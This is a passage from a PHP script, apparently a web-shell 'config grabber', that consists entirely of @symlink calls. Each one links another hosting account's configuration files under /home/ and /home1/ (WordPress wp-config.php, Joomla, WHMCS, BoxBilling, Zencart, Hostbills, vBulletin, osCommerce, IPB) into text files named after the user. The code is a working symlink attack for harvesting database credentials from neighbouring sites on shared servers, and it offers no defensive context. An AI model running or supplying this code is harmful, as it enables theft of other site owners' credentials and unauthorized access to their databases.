  768. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  769. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  770. @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  771. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  772. @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  773. @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  774. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  775. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  776. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  777. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  778. @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  779. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  780. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  781. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  782. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  783. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  784. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  785. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  786. @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  787. @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  788. @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  789. @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  790. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  791. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  792. @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  793. @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  794. @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  795. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  796. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  797. @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  798. @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  799. @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  800. @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  801. @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  802. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  803. @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  804. @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  805. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  806. @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  807. @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  808. @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  809. @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  810. @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  811. @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  812. @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  813. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  814. @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  815. @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  816. @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  817. @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  818. @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  819. @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  820. @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  821. @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  822. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  823. @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  824. @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  825. @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  826. @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  827. @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  828. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  829. @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  830. @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  831. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  832. @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  833. @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  834. @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  835. @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  836. @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  837. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  838. @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  839. @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  840. @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  841. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  842. @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  843. @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  844. @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  845. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  846. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  847. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  848. @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  849. @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  850. @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  851. @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  852. @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  853. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  854. @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  855. @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  856. @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  857. @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  858. @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  859. @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  860. @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  861. @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  862. @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  863. @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  864. @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  865. @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  866. @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  867. @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  868. @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  869. @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  870. @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  871. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  872. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  873. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  874. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  875. @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  876. @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  877. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  878. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  879. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  880. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  881. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  882. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  883. @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  884. @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  885. @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  886. @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  887. @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  888. @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  889. @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  890. @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  891. @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  892. @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  893. @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  894. @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  895. @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  896. @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  897. @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  898. @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  899. @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  900. @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  901. @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  902. @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  903. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  904. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  905. @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  906. @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  907. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  908. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  909. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  910. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  911. @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  912. @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  913. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  914. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  915. @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  916. @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  917. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  918. @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  919. @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  920. @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  921. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  922. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  923. @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  924. @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  925. @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  926.  
  927. //Home1
  928.  
  929. @symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  930. @symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  931. @symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  932. @symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  933. @symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  934. @symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  935. @symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  936. @symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  937. @symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  938. @symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  939. @symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  940. @symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  941. @symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  942. @symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  943. @symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  944. @symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  945. @symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  946. @symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  947. @symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  948. @symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  949. @symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  950. @symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  951. @symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  952. @symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  953. @symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  954. @symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  955. @symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  956. @symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  957. @symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  958. @symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  959. @symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  960. @symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  961. @symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  962. @symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  963. @symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  964. @symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  965. @symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  966. @symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  967. @symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  968. @symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  969. @symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  970. @symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  971. @symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  972. @symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  973. @symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  974. @symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  975. @symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  976. @symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  977. @symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  978. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  979. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  980. @symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  981. @symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  982. @symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  983. @symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  984. @symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  985. @symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  986. @symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  987. @symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  988. @symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  989. @symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  990. @symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  991. @symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  992. @symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  993. @symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  994. @symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  995. @symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  996. @symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  997. @symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  998. @symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  999. @symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1000. @symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1001. @symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1002. @symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1003. @symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1004. @symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1005. @symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1006. @symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1007. @symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1008. @symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1009. @symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1010. @symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1011. @symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1012. @symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1013. @symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1014. @symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1015. @symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1016. @symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1017. @symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1018. @symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1019. @symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1020. @symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1021. @symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1022. @symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1023. @symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1024. @symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1025. @symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1026. @symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1027. @symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1028. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1029. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1030. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1031. @symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1032. @symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1033. @symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1034. @symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1035. @symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1036. @symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1037. @symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1038. @symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1039. @symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1040. @symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1041. @symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1042. @symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1043. @symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1044. @symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1045. @symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1046. @symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1047. @symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1048. @symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1049. @symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1050. @symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1051. @symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1052. @symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1053. @symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1054. @symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1055. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1056. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1057. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1058. @symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1059. @symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1060. @symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1061. @symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1062. @symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1063. @symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1064. @symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1065. @symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1066. @symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1067. @symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1068. @symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1069. @symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1070. @symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1071. @symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1072. @symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1073. @symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1074. @symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1075. @symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1076. @symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1077. @symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1078. @symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1079. @symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1080. @symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1081. @symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
